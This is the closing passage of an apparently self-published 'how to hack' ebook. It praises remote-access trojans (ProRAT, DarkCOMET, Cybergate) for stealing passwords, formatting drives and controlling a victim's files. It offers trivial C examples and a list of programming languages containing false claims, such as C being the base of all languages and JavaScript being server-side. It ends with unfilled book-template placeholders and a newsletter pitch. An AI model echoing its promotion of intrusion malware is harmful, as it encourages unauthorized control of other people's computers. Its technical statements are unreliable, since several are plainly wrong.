    	ProRAT. This is a backdoor Trojan horse which opens a port on the client’s computer that then makes it hard for him to connect to other networks, but only to Local Area Networks (LANS), and are almost impossible to trace—even with the use of antivirus programs. It steals passwords, formats drives, hides the taskbar, and gives you better control of the client’s files!
 
    	DarkCOMET. This RAT reverses the effect of programs you have in your system. It could save pictures stored on a computer—even on the cloud—spoofs IP, and ruins Server SOCKS. Wi-Fi Access Points are also compromised, making it hard for the client to make use of his wireless internet connection.
 
    	Cybergate. Cybergate is said to be fully controllable administration tool that gives you full control of a client’s computer—and everything in it.
 
   
 
   
  
 

Code in C Language
 
   Take note that C is the base of all programming languages. If you want to hack into a system, it’s just right that you learn C Programming, as well. It is the most powerful programming—and hacking language out there.
 
   C basically starts with:
 
   //C hello world example
 
   #include <stdio.h>
 
    
 
   int main()
 
   {
 
     printf("Hello world\n");
 
     return 0;
 
   }
 
   To test, you can try:
 
   #include <stdio.h>
 
   #define TRUE 1
 
    
 
   int main()
 
   {
 
     while (TRUE)
 
     {
 
       printf("Hello World\n");
 
     }
 
    
 
     return 0;
 
   }
 
   
  
 

And, make sure that you know more than one programming language
 
   C Programming is not the be all and end all of all programming languages. Take note that various computer systems use different languages—and that’s why you have to learn other programming languages, too!
 
   Some of those programming languages that you have to know about include:
 
    
    	Java. Java is object-oriented programming language that is also one of the most in-demand programming languages. It’s mostly used to create mobile apps, games, and makes other Operating Systems run on what you already have. (i.e., Windows runs on MAC, Mac runs on Linux, etc.)
 
   
 
   To learn more, you can try: Lynda.com, Udemy.com, Oracle.com
 
    
    	Objective C. This is a general purpose language that is commonly used in the Apple Operating System. This is mostly used to create iPhone Apps.
 
   
 
   To learn more, try: Mac Developer Library, Udemy, Mobile Tuts+, Cocoa Dev Central
 
    
    	C#. C# is known as a multi-paradigm language that combines principles of C, C+, and C++, and can also be used for different purposes.
 
   
 
   To learn more, visit: Microsoft Virtual Academy, Lynda.com, Udemy
 
    
    	C++. This has great object oriented programming features and is an intermediate level language that powers major programs such as Firefox, Winamp, and Adobe, amongst others. It could also create video games and other high end applications. 
 
   
 
   Learn more by visiting: CPlusPlus.com, Udemy, CProgramming.com
 
    
 
    
    	Python. This is a server-side programming language that is used for high level mobile apps and websites. It’s one of the easiest language to learn as it uses simple syntax, and is quite readable even for beginners. This is used for certain programs such as Rdio, Pinterest, and Instagram, and is also associated with NASA, Yahoo, and Google.
 
   
 
   Learn more by visiting: Codeacademy, Udemy, Python.org
 
    
    	PHP. Meanwhile, PHP is a programming language used to develop websites and enhance them into something better. Around 200 million websites worldwide are powered by PHP.
 
   
 
   To learn more, check out: Codeacademy, Udemy, Zend Developer Zone, Treehouse
 
    
    	Javascript. This is another server-side scripting language that is used across multiple web browsers, and is often used for animating functions. Safari and Google Chrome, amongst others, both use Javascript.
 
   
 
   Learn more by visiting: Code School, Lynda.com
 
    
    	Ruby. Ruby is mostly used for website development, and for creating mobile apps. Like Python, it’s easy to write and understand, and is used on  sites such as Groupon and Scribd. As a beginner, this is one of the first things you should learn about.
 
   
 
   Try to learn more by visiting: TryRuby.org, Codeacademy, RubyMonk
 
    
    	SQL. Finally, there’s SQL, also known as Structured Query Language, which is used for informational websites such as SurveyMonkey.
 
   
 
   Learn more by visiting: SQLCourse.com, Lynda.com
 
   Remember: if you want to hack, you have to be patient—and you have to make sure that you keep on learning however way you can!
 
   


 
   
  
 




 
   Conclusion
 
    
 
   Thank you again for downloading this book!  
 
   I hope this book was able to help you to understand how to hack various computer systems, and know what you’re supposed to do to improve your hacking skills. 
 
   The next step is to put into practice what you have learned. Who knows? Sooner or later, you might just be the world’s greatest hacker! 
 
    [image: Description: thank-you-dogs]
 
 
   Finally, if you enjoyed this book, then I’d like to ask you for a favor, would you be kind enough to leave a review for this book on Amazon? It’d be greatly appreciated!
 
    
 
   Click here to leave a review for this book on Amazon!
 
    
 
   Thank you and good luck!
 
   


 
   
  
 




 
   Preview Of ‘Insert Book Title Here’
 
    
 
   This section is designed to provide the reader a preview of one of your other books.  Simply copy and paste a chapter of another book that you have available on Kindle and link to it below.
 
    
 
   Click here to check out the rest of (insert book name here) on Amazon.
 
   Or go to: http://www.mybitlylink.com (insert shortened bit.ly link)
 
   


 
   
  
 



Check Out My Other Books
 
    
 
   Below you’ll find some of my other popular books that are popular on Amazon and Kindle as well.  Simply click on the links below to check them out.  Alternatively, you can visit my author page on Amazon to see other work done by me.
 
    
 
   -- (Link to your other books here.  You can use bit.ly links as well to track the clicks). -- 
 
    
 
   My Other Book - This Is My Other Book On Amazon
 
    
 
   My Other Book - This Is My Other Book On Amazon
 
    
 
   My Other Book - This Is My Other Book On Amazon
 
    
 
   My Other Book - This Is My Other Book On Amazon
 
    
 
   My Other Book - This Is My Other Book On Amazon
 
    
 
   My Other Book - This Is My Other Book On Amazon
 
    
 
   If the links do not work, for whatever reason, you can simply search for these titles on the Amazon website to find them.
 
   


 
   
  
 



Bonus: Subscribe To The Free Life Mastery Toolkit
 
    
 
   (If you have a website, this is an example of how you can get people to visit your website and opt-in to collect their e-mail address.  Simply change this section to your choosing or delete it if you don’t have a website to promote).
 
   When you subscribe to Project Life Mastery via email, you will get free access to a toolbox of exclusive subscriber-only resources.  All you have to do is enter your email address to the right to get instant access.
 
   This toolbox of resources will help you get more out of your life – to be able to reach your goals, have more motivation, be at your best, and live the life you’ve always dreamed of.  I’m always adding new resources to the toolbox as well, which you will be notified of as a subscriber.  These will help you live life to the fullest!
 
   Here are the details of what you’ll get:
 
   My 12-Step Morning Ritual Process To Being Unstoppable Everyday (Video & Article).  In this 35 minute video, I will walk you through step-by-step my entire morning ritual process, and help you be able to create your own to start your day being motivated, happy, and productive.
 
   My 7-Step Proven Method To Creating The Life Of Your Dreams (Video, Article & Spreadsheet). Follow these 7 proven steps to create an ultimate vision, purpose, and action plan for each area of your life.  This planning process will give you an incredible sense of clarity for what you really want for your life and will help you make it a reality.
 
   How To Change Any Negative Behaviour Or Emotion Instantly (Video & Article).  This simple exercise will give you the ability to change any negative behaviour, emotion, or pattern that is currently holding you back in your life (such as, procrastination, depression, sleeping in, etc…) and be able to replace it with an empowering alternative.
 
   The 6 Steps To Emotional Mastery (Article).  The quality of your life is the quality of the emotional states you live in consistently.  This article will help you to be able to master your emotions, which will give you more freedom and fulfillment.
 
   To get instant access to these incredible tools and resources, click the link below:
 
   Click here for the Life Mastery Toolkit.
 
   Or you can access it here: http://bit.ly/15D3r4u
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